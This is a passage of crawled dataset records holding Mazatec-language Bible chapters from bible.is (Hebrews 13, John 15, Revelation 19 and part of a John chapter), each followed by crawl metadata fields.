tsje‑la̱ Nainá nga tsjá kjo̱tjò mé‑ni nga tjáhixìn‑la̱ jé‑la̱ xi̱ta̱. Tanga jñà ijo‑la̱ cho̱, xín i̱'nde fìko̱ 'taxìn nga baká. 12'Koa̱á ti̱'sín kjomà'tin Jesús; a̱'ta xìn na̱xi̱ndá isìkjiín kjo̱hi'in nga kinì'ken, mé‑ni a̱'ta 'tse̱ jní‑la̱ ra ixaájten kjomà isìtsje‑ni jé‑la̱ xi̱ta̱ na̱xi̱ndá. 13'Koa̱á ma‑ni, ko̱'sín kítjo̱kajin‑teé na̱xi̱ndá nga tjahítji̱ngi‑lá Jesús ya̱ ñánda̱ nga i̱'nde'taxìn mé‑ni nga ti̱'koa̱ si̱kjiín‑ke̱é kjo̱sabà ko̱ kjo̱hi'in ra jè isìkjiín. 14Nga̱ i̱ a̱'ta nangi tsìn‑ná na̱xi̱ndá ra ngi i̱ kíjna skanda ta kjiá‑nioo̱, jè i̱nchichiñá‑lá jngo na̱xi̱ndá ra 'sa̱ nchrabá. 15'Koa̱á ma‑ni, machjeén‑ní nga ki'ta ni̱chjin jeya sikíjneé Nainá ra a̱'ta 'tse̱ Jesucristo koni jngo kjo̱tjò ra nìnga̱tsjeé Nainá. Jè machjeén nga ngi ndsa̱'bé katitjo‑ni 'én nga 'kéna̱jmié yá‑ni Jesús. 16Kì niìjchaàjion kjoa̱ ra nda 'nià ko̱ ra bisìko̱ kañá xàngio̱o; nga̱ jñà kjoa̱ kìi̱, 'koa̱á 'sín ngoya‑la̱ koni jngo kjo̱tjò ra nìnga̱tsja Nainá ra nda sasén‑la̱. 17Ti̱tjasòn‑la jñà xi̱ta̱ ra i̱ncha ítjòn‑no ra a̱'ta 'tse̱ na̱xi̱ndá‑la̱ Nainá, ko̱ jñà ti̱ná'ya ijòn‑la. Nga̱ jñá xi̱ta̱ kìi̱ tjíkinda̱‑la̱ kjo̱binachon‑no, ko̱ jñà tjínè‑la̱ nga tsjá‑la̱ kinda̱ Nainá. Nda ti̱tjasòn‑la koni 'sín nga ki̱tso̱‑no mé‑ni nga ngi ko̱ kjo̱tsja‑la̱ si̱íxá‑ni ko̱ mé‑ni mì chjá ko̱ma‑la̱. Nga̱ tsa chjá ko̱ma‑la̱ nì mé kjo̱nda sa̱kò‑no ra jiòn. 18Ti̱jé'tà‑la Nainá a̱'ta tsa̱ji̱n, nga 'koa̱á 'sín machi̱ya‑naji̱n nga nda tjín jè kjo̱bítsjen‑na̱ji̱n, nga̱ mejèn‑naji̱n nga nda si̱itjasòn tsje‑ji̱n. 19'Koa̱á 'sín 'ñó bitsá'ba-isa‑no nga ti̱jé'tà‑la Nainá ra a̱'ta tsa̱'a̱n, mé‑ni nga katatsjá'nde‑ni nga ndi̱to̱n kijchò'tsè india‑no. 20Jè Nainá ra tsjá‑ná kjo̱'nchán ra isikjaáya‑ila̱ a̱'ta 'tse̱ kjo̱biya jè Na̱'ín‑ná Jesucristo, ra chji̱ngo̱ ítjòn‑la̱ forrè, jè ra a̱'ta 'tse̱ jní‑la̱ isindajín jngo‑ni kjoa̱ ra mì kje̱he'tà ni̱ta kjiá‑nioo̱, 21ko̱'sín kixi̱ katasíkítsa̱jna‑no a̱'ta 'tse̱ nga'tsì kjoa̱ ra nda tjín mé‑ni nga ko̱'sín 'sia̱an‑no koni 'sín mejèn‑la̱ ra jè; ko̱ mé‑ni nga a̱'ta 'tse̱ Jesucristo ko̱'sín katasíko̱‑ná koni 'sín nga sasén‑la̱ ra jè. ¡Jeya katijna Cristo skanda ta mé ni̱chjin‑nioo̱! Ko̱'sín katama. 22'Koa̱á 'sín tíbitsá'ba‑no ndí 'ndsé, kata'se‑no kjo̱jetakòn nga ti̱ná'ya‑la nda nda‑la jñà 'én kìi̱ koni 'sín nga bijnáchi̱ya‑no. Nga̱ ta chibaá‑ni 'én ra tjí'ta xa̱jo̱n ra̱kìi̱. 23Ko̱'sín katasijin‑no, jè 'ndsé Timoteo ijyeé tíjnandi̱í‑ni ra kjoa̱ 'tse̱ kjo̱hi'in; tsa ndi̱to̱n kj'i̱í, íko̱‑ná 'kia̱ nga kjín katsíjen‑no. 24Nga'tsì‑no, ti̱hixo'ta ijye jñà xi̱ta̱ ra i̱ncha ítjòn‑no ko̱ nga'tsì jñà xi̱ta̱ na̱xi̱ndá‑la̱ Nainá. Jñà ra Italia i̱'nde‑la̱ síhixo'tá‑te‑no. 25Nainá katatsjá‑no kjo̱nda‑la̱ nga'tsì‑no.\nHebreos 13","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Heb\/13","date":"2013-12-11T13:34:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164036943\/warc\/CC-MAIN-20131204133356-00069-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":670,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.309,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1''A̱n‑náa̱ ra ngi na'ñó je‑la̱ to uva, ko̱ jè Na̱'ìn‑na̱ ra síxáko̱. 2Nga'tsì na'ñó chrja‑la̱ ra ya̱ nchrabá'ta‑ni a̱'ta tsa̱'a̱n ra mì kì bajà‑la̱ to, bate'tá‑ní; tanga jè ra bajà‑la̱ to batejno‑ní nga sítsje, mé‑ni nga isa̱ nda ko̱ja̱‑la̱ to. 3Ijyeé tsje titsa̱jna‑no ra jiòn, nga̱ jñá 'én ra ijye ko̱kíxin‑no, jè kjotsje‑najiòn. 4Machjeén‑ní nga ya̱ ti̱tsa̱jnako̱ ki'tá‑ná, ko̱ 'a̱n ya̱á kóti̱jnako̱ ki'tà‑no. Jngo chrja‑la̱ na'ñó‑la̱ to uva, tsa mì ya̱ itsaba'tá'ñó jè na'ñó je‑la̱ mì kì ko̱ja̱‑la̱ to; 'koa̱á ti̱'sín tjín a̱'ta tsa̱jiòn‑jiòn, tsa mì ya̱ ki̱tsa̱jnako̱ ki'tá‑ná, ni̱mé ra ma 'sio̱on nga ta jiòn. 5''A̱n‑ná jè na'ñó je‑la̱ to uva ko̱ jión‑nájiòn jñà na'ñó chrja‑la̱. Jñà ra ya̱ tjíhijyoko̱ ki'ta‑na ko̱ 'a̱n ya̱ tíjna̱ko̱ ki'ta, kjín jchán to ko̱ja̱‑la̱; tanga tsa kjiín titsa̱jna'taxìn‑nájiòn, ni̱mé ra ma 'sia̱an. 6Jñà ra mì ya̱ tjíhijyoko̱ ki'ta‑na, 'koa̱á 'sín tjáhixìn koni jngo chrja‑la̱ yá ra mì kì bajà‑la̱ to. 'Kia̱ nga ijye xì, maxkó‑ní nga tì ya̱ a̱jin ni'í. 7'Tsa ya̱ ki̱tsa̱jnako̱ ki'tà‑nájiòn ko̱ tsa kixi̱ ki̱tsa̱jna koni 'sín tsò 'én ra tsakon‑yá‑no, ti̱jé ta mé ra mejèn‑no, 'koa̱á 'sín ki̱tjasòn‑no koni 'sín nga kixó. 8'Koa̱á 'sín ma‑ni nga jeya kíjna jè Na̱'ìn‑na̱, 'kia̱ nga kjìn to ko̱ja̱‑no, ko̱ 'koa̱á 'sín ko̱ma‑ni nga jcha̱‑la̱ nga ngi kixi̱í kjoa̱ nga ya̱ chitá'yá'ta‑nájiòn. 9Koni 'sín nga tsjake‑na jè Na̱'ìn‑na̱, 'koa̱á ti̱'sín tsjake̱‑najiòn; ko̱'sín ya̱ ti̱tsa̱jnajion ki'ta jè kjo̱tsjacha‑na̱. 10Tsa si̱itjasòn koni 'sín tjín jñà kjo̱téxoma‑na̱, ya̱á kitsa̱jnajiòn ki'ta jè kjoa̱tsjacha‑na̱, koni 'a̱n sìhitjásòn‑ná jñà kjo̱téxoma‑la̱ jè Na̱'ìn‑na̱ ko̱ ya̱á tíjna̱jin ki'tà jè kjoa̱tsjacha‑la̱. 11'Kií ko̱'sín tíxian‑no mé‑ni nga jè kjo̱tsja‑na̱ ya̱ katasijin inìma̱‑no, ko̱ mé‑nì mì ti̱ mé ra si̱ìjchija‑la̱ jè kjo̱tsja‑no. 12Jè kjo̱téxoma ra tsja‑no, jè‑ní nga tsjachaá 'tio̱òn xàngio̱o nga jngó jngó‑no, koni 'sín 'a̱n tsjake̱‑no. 13Tsìn jngo kjo̱tsjacha ra isa̱ 'ñó chjí‑la̱ koni jngo kjo̱tsjacha‑la̱ xi̱ta̱ nga tsjá ijo‑la̱ nga ki̱yátjì ngajo‑la̱ xi̱ta̱ xákjién ra nda báko̱. 14Tsa si̱itjasòn jiòn koni 'sín bi'tín‑no, jión‑nájiòn xi̱ta̱ ra 'ñó nda jchi̱bé. 15Mì kì ti̱ chi̱'nda‑na̱ xín‑no, nga̱ jngo xi̱ta̱ chi̱'nda mì kì be‑jìn mé ra 'sín jè ni‑la̱. Kií ko̱'sín 'ñó nda chibà‑ná nga̱ ijyeé tsi'kènájmí ijyeé‑no nga'tsì 'én ra kitsjà‑na jè Na̱'ìn‑na̱. 16Mì tsa jiòn ichjaájin‑nájiòn, 'a̱án‑ná ra ítsjahíjin‑najiòn; ko̱ 'a̱án kítsja xá‑no nga tangió nga nda si̱xá, ko̱ jè xá ra 'sia̱an katijna ki'tá‑ní ta mé ni̱chjin‑nioo̱. 'Koa̱á 'sín ma‑ni nga tsjá ijye‑no jè Na̱'ìn‑na̱ ta mé ra si̱jé‑la̱ ra a̱'ta 'tse̱ 'í‑na̱. 17Jè kjoa̱ ra 'ñó tíbi'tín‑no: Jè‑ní nga tsjacha 'tio̱òn xàngio̱o nga jngó jngó‑no. 18'Tsa jñà xi̱ta̱ i̱sà'nde si̱ìjtike‑najiòn, 'koa̱á 'sín katasijin‑no nga isa̱á ta kjotseé jtike‑na ra 'a̱n. 19Tsa takó jñà tsjacha jiòn jñà kjoa̱ ra tjín ya̱ i̱sà'nde, jñà xi̱ta̱ i̱sà'nde ko̱tsjakeé‑no koni 'sín tsjake ra ti̱jñà‑ni xi̱ta̱ xákjién. Tanga 'a̱án tsjahíjin‑najiòn nga tsachrjekàjin‑no kjoa̱ ra tjín ya̱ i̱sà'nde; kií majtike‑najiòn jñà xi̱ta̱ i̱sà'nde nga̱ mì tsa ti̱ ko̱'sín nihitjasòn‑najiòn koni 'sín 'sín ra jñà. 20Kì tà chjàn niìjchaàjion koni 'sín kíxin‑no: \"Nga jngo chi̱'nda mì tsa jè tíjna ítjòn‑la̱ jè ni‑la̱.\" Tsa jtike‑na jñà xi̱ta̱ ko̱ ti̱'koa̱á mahatji̱ngi‑na, 'koa̱á ti̱'sín ko̱ma'tin‑te ra jiòn; ko̱ tsa i̱nchisíhitjasòn jñà 'én‑na̱, ti̱'koa̱á si̱hitjasòn‑te jñà 'én ra ki̱nákjoa̱a jiòn. 21Ta 'a̱án nga̱tjì‑na nga ko̱tjín kjoa̱ ko̱ma'tin jiòn, kií‑ní nga mì kì bexkon jè ra isìkasén‑na. 22'Tsa mí‑la 'a̱n 'jía̱ ko̱ tsa mí‑la tsakakóna̱jmía̱ jñà xi̱ta̱ kìi̱, mí‑la tsa mé jé tjín‑la̱. Tanga 'ndi̱ 'ndi̱, mì ti̱ kì ma‑ni kó'sín nga tsje ko̱chrjengi ijo‑la̱; 23nga̱ jñà xi̱ta̱ ra jtike‑na ti̱'koa̱á jtikeé‑te jè Na̱'ìn‑na̱. 24Ni̱mé‑la jé tjín‑la̱ jñà xi̱ta̱ kìi̱ tsa mí‑la kijtse jñà kjoa̱ ra kí'siaa̱n, nga̱ jñà kjoa̱ ra kí'siaa̱n ni̱ kjè sa jngo xi̱ta̱ ko̱'sín 'sín; tanga kijtseé jñà kjoa̱ kìi̱ ko̱ ta isa̱á isìjtike‑na ko̱ isijtikeé‑te jè Na̱'ìn‑na̱. 25Tanga tjínè‑la̱ nga ko̱'sín ko̱ka̱ma mé‑ni nga ki̱tjasòn‑ni koni 'sín tíchja̱ Xa̱jo̱n‑la̱ Nainá ra kotá'yá xi̱ta̱ kìi̱, nga tsò: \"Isijtikeé‑na ni̱'sín ni̱mé ra isikóo̱.\" 26'Tanga 'kia̱ nga kj'i̱í jè ra ko̱si̱ko̱‑najiòn, jè Inìma̱ Tsje‑la̱ Nainá ra tjín‑la̱ kjo̱hixi̱ ra 'a̱n sikásée̱n ra ya̱ nchrabá‑ni a̱'ta 'tse̱ Na̱'ìn‑na̱, jè‑ní ra tsjá 'én ra a̱'ta tsa̱'a̱n. 27Ti̱'koa̱á 'ki̱i‑te jiòn 'én ra a̱'ta tsa̱'a̱n, nga ya̱á titsa̱hijyoko̱‑nájiòn skanda 'kia̱ nga ti̱'sa̱ tsiki'tsiáa̱ jè xá‑na̱.\nSan Juan 15","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/John\/15","date":"2013-12-10T22:34:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164026971\/warc\/CC-MAIN-20131204133346-00011-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":673,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.316,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ijye tsato jñà kjoa̱ kìi̱, ya̱ ján ngajmi kí'nchré‑la̱ jta̱ ra 'ñó jchán ina'yá‑la̱ koni tsa kjín jchán ma‑ni xi̱ta̱ nga kitsò: ¡Aleluya! ¡Nda kata'yaxkón Nainá! Nga̱ jè tsachrjekàjin‑ná kjo̱hi'in, ko̱ jè‑ní ra jeya tíjna ko̱ ra 'nga tíjna ko̱ ra tse nga'ñó tjín‑la̱; 2nga ndaá tjín ko̱ kixi̱í tjín koni 'sín nga bíndajín ra jè, koni 'sín nga ijye kitsjá‑la̱ kjo̱hi'in jè na̱xi̱ndá je ra̱kìi̱, ra isìkitsón‑jin i̱sà'nde nga tsakón‑la̱ xi̱ta̱ nga kj'ií nainá kiìtji̱ngi‑la̱, 'koa̱á ngoya‑la̱ koni tsa tsakón‑la̱ a̱'ta 'tse̱ kjoa̱chijngi‑la̱ ko̱ kitsjá ngajo‑la̱ kjo̱hi'in koni 'sín nga tsikíxten jní‑la̱ nga kisì'ken jñà ra chi̱'nda‑la̱ Nainá kjomà. 3Ìjngo 'ká kitsò‑isa: ―¡Aleluya! ¡Nda kata'yaxkón Nainá! Nga̱ jè ni̱'ndi̱ ra tífaá'ndi̱ ñánda̱ nga títì na̱xi̱ndá ra̱kìi̱, 'koa̱á 'sín kjoa̱á'ndi̱ skanda ta mé ni̱chjin‑ni. 4Jñà xi̱ta̱ jchínga ra kahíjòn ma‑ni ko̱ jñà ra ijòn ma‑ni ra títsa̱jnakon, tsincha-xkó'nchi-niña‑ní nga kijtsexkón jè Nainá ra tíjnasòn íxile̱‑la̱ nga tíbatéxoma ko̱ kitsò: ―¡Ko̱'sín katama, nda kata'yaxkón jè Nainá! ¡Aleluya! 5Jngo jta̱ itjo‑ni ya̱ ñánda̱ nga tíjna jè ra tíjnasòn íxile̱ nga tíbatéxoma ra kitsò: Nda jcha̱xkón Nainá nga'tsiò ra chi̱'nda‑la̱ ma, ko̱ íchjín ko̱ íchjá ko̱ i̱xti ko̱ i'ndí, jiòn ra ngi ko̱ó kjo̱skon‑no nga 'yaxkón Nainá. 6Ti̱'koa̱á kí'nchre jtaá‑te‑la̱ ra 'koa̱ 'sín ina'yá‑la̱ koni tsa kjín jchán ma‑ni xi̱ta̱ ra kiìchja̱, koni tsa faháya‑la̱ jè nandá 'kia̱ nga 'ñó fane, ko̱ koni 'sín nga faháya‑la̱ jè 'cho̱n 'kia̱ nga 'ñó tsin, nga i̱nchitsò: ¡Aleluya! ¡Nda jcha̱xkón jè Nainá ra Na̱'ín‑ná! Nga̱ jè ra bato 'ñó tse nga'ñó tjín‑la̱ ko̱ ijyeé jè tíbatéxoma. 7Tsja 'ké‑lá jè inìma̱‑ná ko̱ si̱tsjakeé jè takén ko̱ jeya si̱kíjneé ra jè, nga̱ ijyeé ijchó ni̱chjin‑la̱ nga ki̱xan jè Forrè. Ko̱ jè chjo̱ón‑la̱ ijyeé tíjnanda, 8ko̱ ijyeé ka'bì‑la̱ nikje chraba ra kjónaya, jngo nikje tsje ra 'ñó chjí‑la̱ ra ngi nikje fate‑ní. Jè nikje chraba ra 'ñó chjí‑la̱ jè jngoya‑la̱ jñà kjoa̱ ra nda 'sín jñà xi̱ta̱‑la̱ Nainá. 9Jè ìkja̱li̱ kitsò‑na: ―Xa̱jo̱n ti'tì jñà 'én kìi̱: \"Mé ta̱ nda‑la̱ jñà xi̱ta̱ ra xá inakjoá‑ila̱ nga ya̱ ko̱kje̱n‑ko̱ jè Forrè 'kia̱ nga ki̱xan nga ki̱ìjna 'sí.\" Ko̱ kitsò-isa‑na: ―Jñá kìi̱ ra ngi 'én kixi̱‑la̱ Nainá. 10Tsáse̱n-xkó'nchi'tá‑la̱ 'a̱n jè ìkja̱li̱ nga mejèn‑na nga skexkón, tanga kitsò‑na: ―Majìn, kì tà chjàn ko̱'sín 'nì; ti̱'koa̱á chi̱'nda‑la̱ Nainá‑ná ra 'a̱n koni nga ji̱, ko̱ koni jñà 'ndsì ra i'ka ra nda i̱nchifìtji̱ngi‑la̱ 'én kixi̱ ra kitsjà Jesús. Jè Nainá nda jcha̱xkín. Jñà 'én kixi̱ ra kitsjà jè Jesús, ti̱jñá‑ni ra síchi̱ya‑la̱ jñà xi̱ta̱ ra síchjeén Nainá nga chja̱ ngajo‑la̱. 11'Kia̱á kíjtsee̱ jè ngajmi nga ti̱'xá, ko̱ jngo kabàyo̱ chraba tsatsíjen. Ko̱ jè ra tíjnakjá‑la̱, jò 'í tjín‑la̱, jngo ra tsò‑ni: Ngi Kixi̱í Síhitjasòn, ko̱ ra ìjngo: Ngi Xi̱ta̱ Kixi̱‑ní. Nga̱ ngi kixi̱í 'sín 'kia̱ nga bínda‑jín kjoa̱ ko̱ 'kia̱ nga kjaán. 12Jñà xko̱n, 'koa̱á 'sín kjòn koni tsa títì ni'í; ko̱ ya̱ sko̱ kjín jchán corona ra i̱tsíñá kjòn tjí'a‑la̱, ko̱ jngo 'í tjí'ta‑la̱ ra mì kì yá be kótsò‑ni; ta̱ jngoó jè ra be. 13Jè nikje ra kjinaya, jní ijàjno tíjngo. Ko̱ jè 'í‑la̱, 'Én‑la̱ Nainá 'mì. 14Ya̱á tji̱ngi‑la̱ jñà chíchàn ra 'tse̱ ngajmi; kjiya nikje chraba ra ngi tsje kjòn ko̱ ra 'ñó chjí‑la̱; títsa̱kjá‑la̱ kabàyo̱ ra chraba kjòn. 15Jngo ki̱cha̱ ndajò ra i̱tsjí 'ki ra 'ñó ijò bitjo‑ni ya̱ tsa'ba jè ra tsjáhi'in‑la̱ nga'tsì xi̱ta̱ na̱xi̱ndá ra tjín ya̱ i̱sà'nde. Ko̱ jngo ki̱cha̱ koaya tsja nga ko̱tèxoma‑ila̱ jñà na̱xi̱ndá. Jè sabá ko̱si̱nè to uva ya̱ a̱ya chitso na̱jo̱ nga ko̱chrje nandá xán ra tji̱ko̱ kjo̱jti‑la̱ Nainá ra tse kjo̱hi'in 'ya, nga̱ bato tse nga'ñó tjín‑la̱ ra jè. 16Ya̱ a̱sòn nikje‑la̱ ko̱ ya̱ a̱sòn chrjamí‑la̱ tjí'ta 'én ra tsò: \"Jè ra xi̱ta̱xá ítjòn‑la̱ ra xi̱ta̱xá títjòn títsa̱jna ko̱ jè ra batéxoma‑la̱ nga'tsì xi̱ta̱ ra batéxoma.\" 17Jngo ìkja̱li̱ kíjtsee̱ ra ya̱ síjnasòn ya̱ tsá'bí nga 'ñó kiìchja̱‑la̱ nga'tsì cho̱ ra tjímajin ya̱ a̱jin i̱sén ra kjine ijo see̱n nga kitsò‑la̱: ―Nchrabá tíxkóya xàngio̱o nga'tsì‑no, mé‑ni nga chji̱ne̱‑no nga'tsì jñà ijo ra jè Nainá ijye tjínda‑la̱, 18nga chji̱ne̱e ijo‑la̱ jñà ra xi̱ta̱xá ítjòn, ko̱ ijo ra 'tse̱ chíchàn ítjòn, ko̱ ra 'tse̱ xi̱ta̱ nchi̱ná, ko̱ ijo‑la̱ kabàyo̱, ko̱ 'tse̱ xi̱ta̱ ra bìtsa̱kjá‑la̱, ko̱ ijo‑la̱ ra nga'tsì ta yá xi̱ta̱‑ni, ra xi̱ta̱ chi̱'nda ko̱ jñà ra mì tsa xi̱ta̱ chi̱'nda, ko̱ íchjín ko̱ íchjá ko̱ i̱xti ko̱ i'ndí. 19Ko̱ kíjtse‑náa̱ jè cho̱ ra 'ñó 'cho 'kioo̱ ko̱ nga'tsì jñà ra xi̱ta̱xá ítjòn títsa̱jna ya̱ i̱sà'nde ko̱ jñà chíchàn‑la̱; kjóxkóya‑ní mé‑ni nga ska̱jàn‑ko̱‑ni jè ra tíjnakjá‑la̱ jè kabàyo̱ chraba ko̱ chíchàn‑la̱ ra tji̱ko̱. 20Tanga indabá'ñó jè cho̱ ra 'ñó 'cho 'kioo̱ ko̱ indabá'ñó‑te jè ra kiìchja̱ya 'én ndiso, jè ra ki'sìn kjo̱xkón ya̱ ngixko̱n jè cho̱ ra 'ñó 'cho 'kioo̱ nga tsikínda̱cha̱‑la̱ jñà xi̱ta̱ ra isi'ta chi̱ba̱‑la̱ nga ti̱'koa̱á kijtsexkón jè i̱sén‑la̱ jè cho̱ ra̱kìi̱. Ya̱á inìkatsajin tíkon ngajòo̱ ya̱ a̱jin ni'í ra títì jnga̱ ra ngi ko̱ó azufre títì‑ni. 21Jñà xi̱ta̱ ra i'ka, jè 'ken‑ni jè ki̱cha̱ ndajò ra tíbitjo ya̱ tsa'ba jè ra tíjnakjá‑la̱ jè kabàyo̱; nga'tsì jñà cho̱ ra bimajin ya̱ a̱jin i̱sén ra kjine ijo see̱n, jñà kjoski‑ni nga kiskine ijo 'ken‑la̱ nga'tsì jñà xi̱ta̱ kìi̱.\nApocalipsis 19","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rev\/19","date":"2013-12-07T11:10:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163054096\/warc\/CC-MAIN-20131204131734-00005-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":827,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.38,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Nga jye komà kjoa̱ koi, Jesús kiì ján xijngoaà ndáchikon Galilea, xi ti̱koa̱ Tiberias 'mì. 2'Ñó kjìn xi̱ta̱ kiìtji̱ngui‑la̱ nga jye kijtseè kjo̱xkón ndaà xi s'ín nga síndaà‑ne xi̱ta̱ xk'én. 3Jesús k'e̱é kiìmijìn‑jno jngoò nindoò, ya̱á tsibìjna ko̱ xi̱ta̱ xi kota'yàt'aà‑la̱. 4Jyeé tímachrañà s'eí Paxko̱ ts'e̱ xi̱ta̱ judío. 5Jesús, k'e̱ nga kiskoòtsejèn, kijtseè nga 'ñó kjìn ma xi̱ta̱ tjíma tji̱ngui‑la̱, kitsò‑la̱ Felipe: ―¿Ñánda kindá‑lá tsojmì xi ko̱kje̱n xi̱ta̱ koi? 6Tà k'oa̱á kitsò‑la̱, tà jè xi mejèn‑la̱ nga skoe̱ kó ki̱tso̱ Felipe. Jesús, jyeé tíjiìn‑la̱ mé kjoa̱ xi s'i̱in. 7Felipe kitsò: ―Na̱s'ín jò‑la sìndo̱ na̱chrjein tjín‑ne chjí‑la̱ xi̱ta̱, mì‑la kiì ki̱chìya‑la̱ nga i̱tsé i̱tsé ski̱ne̱ ngats'iì xi̱ta̱ koi. 8Kiìchja̱ Andrés xi ti̱koa̱ xi̱ta̱ xi ya̱ kota'yàt'aà‑la̱ Jesús xi 'ndsè ma Simón Pedro, kitsò: 9―I̱ tíjna jngoò ti xi 'ya 'òn i̱nchra̱jín ts'e̱ cebada ko̱ jò ma ti̱n xi 'ya, ta̱nga mì‑la kiì ki̱chìya‑la̱ nga 'ñó kjìn ma‑ne xi̱ta̱. 10Jesús kitsò‑la̱: ―Ko̱t'ìn‑la̱ jñà xi̱ta̱, kàtìtsa̱jna yije. I̱'nde jè 'ñó tjín xka̱ ijñá. Jñà xi̱ta̱ xi tsibìtsa̱jna, ma‑la̱ tsà 'òn jmiì xi nguì xi̱ta̱ x'i̱n. 11Jesús, kiskoé i̱nchra̱jín, kitsjaà‑la̱ kjo̱ndaà Nainá, i̱kjoàn kitsjaà‑la̱ jñà xi̱ta̱‑la̱. K'e̱é kisìka'bí‑la̱ jñà xi̱ta̱ xi títsa̱jna. K'oa̱ ti̱s'ín kisìko̱ jñà ti̱n, kiskine ni̱ta̱ kó kji mejèn‑la̱ nga jngoò ìjngoò. 12K'e̱ nga jye kjòskiì yije xi̱ta̱, Jesús kitsò‑la̱ jñà xi̱ta̱ xi kota'yàt'aà‑la̱: ―Tíxkó yije‑nò xi kaningui‑ne, mé‑ne nga mì ki̱ts'ón‑ne. 13Jñà xi̱ta̱‑la̱ tsibíxkó‑ne i̱nchra̱jín xi tsiningui‑ne. Nguì tejò ni̱si̱yá komà, k'e̱ nga jye tsakjèn yije xi̱ta̱. 14Jñà xi̱ta̱, k'e̱ nga jye kijtseè kjo̱xkón ndaà xi kis'iìn Jesús, kitsò‑la̱ xíkjín: ―Kixi̱í‑la kjoa̱, jè‑la xi̱ta̱ jè xi chja̱ ngajo‑la̱ Nainá, xi tjínè‑la̱ nga kjoi̱í i̱ i̱sò'nde. 15Ta̱nga Jesús, ti̱k'e̱é kijtseèya‑la̱ nga jñà xi̱ta̱ mejèn‑la̱ kjo̱'ñó kiìko̱ nga xi̱ta̱xá ítjòn si̱ìkíjna; ìjngoò k'a kiìmijìn‑jno nindoò nga tà ta̱jngoò tsibìjna. 16K'e̱ nga jye kòjñò, xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús inchrohòjen ìjngoò k'a‑ne ñánda kijna ndáchikon. 17Jahas'en jngoò chitso, kiìsòn‑ndá nga kiì ján na̱xa̱ndá Capernaum. Jyeé 'ñó kòjñò, Jesús mìkiì xátí j'iì tji̱ngui‑la̱ jñà xi̱ta̱‑la̱. 18Ya̱ i̱jiìn ndáchikon j'iì jngoò tjo̱xkón xi 'ñó jchán ts'a. Jè ndáchikon tsibíts'ia̱ nga kiskì'nga. 19K'e̱ nga jye tjín‑la̱ tsà 'òn ko̱ tsà joòn jmiì metro nga tjímajiìn nandá, kijtseè nga jè Jesús tsóbasòn ndáchikon. Tífì tji̱ngui chrañà‑la̱ jè chitso. Jñà xi̱ta̱ tà kitsakjòn‑la̱. 20K'e̱é kiìchja̱ Jesús, kitsò‑la̱: ―Kì tsakjoòn‑jèn, 'a̱n‑ná. 21Jñà xi̱ta̱ tsjaá komà‑la̱, k'e̱é kisìkas'en chitso. Ko̱ jè chitso ni̱to̱ón ijchò ya̱ na̱xa̱ndá ñánda nchifì. 22Nga komà nchijòn, jñà xi̱ta̱ xi tsibìtsa̱jna ján xijngoaà ndáchikon, kijtseè nga tà jngoò chitso kijna xi kiìko̱ xi̱ta̱, ta̱nga Jesús mìkiì tsejèn jahas'en ya̱ chitso. Tà jñà xi̱ta̱ xi kota'yàt'aà‑la̱ jahas'en nga kiì. 23Ta̱nga ijchò chitso xi kj'ei̱í xi ya̱ inchrobà‑ne na̱xa̱ndá Tiberias; ya̱á chincha chrañà i̱'nde ñánda tsakjèn i̱nchra̱jín xi̱ta̱ xi 'òn jmiì ma‑ne, k'e̱ nga jè Jesús kitsjaà‑la̱ kjo̱ndaà Nainá. 24Jñà xi̱ta̱, k'e̱ nga kijtseè nga mì yá tjín Jesús ko̱ xi̱ta̱ xi kota'yàt'aà‑la̱, k'e̱é jahas'en jñà chitso koi, kiì kátsji Jesús ján na̱xa̱ndá Capernaum. 25Xi̱ta̱ koi, k'e̱ nga jye ijchò ján xijngoaà ndáchikon, ya̱á kiskaàjiìn Jesús kitsò‑la̱: ―Maestro, ¿mé na̱chrjein j'i̱i i̱jndé? 26Kiìchja̱ Jesús, kitsò‑la̱: ―Xi nguì o̱kixi̱, k'oa̱á xan‑nò, mìtsà koi xá binchaàtsji‑ná nga ki'yaà kjo̱xkón‑ndaà xi kis'iaàn, koií‑né nga kisìkjèn‑nò skanda kó nga kjòskioò. 27Kì koi nìxátjiò tsojmì xi fehet'aà. Jè ti̱xátjiò tsojmì xi síkíjnakon ini̱ma̱‑ná ni̱ta̱ kjé‑né, jè xi 'a̱n tsjá xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱. Na̱'èn‑ná xi Nainá jè kitsjaà‑na kjo̱tíxoma kjoa̱ xi s'iaàn. 28Xi̱ta̱ koi, kiskònangui, kitsò‑la̱ Jesús: ―¿Mé xi s'e̱n‑je̱n nga ko̱ma si̱xá‑la̱je̱n Nainá koni s'ín mejèn‑la̱ jè? 29Jesús kitsò‑la̱: ―Xá‑la̱ Nainá, jè‑né nga ko̱kjeiín‑nò i̱t'aà ts'e̱ xi Nainá kisìkasén. 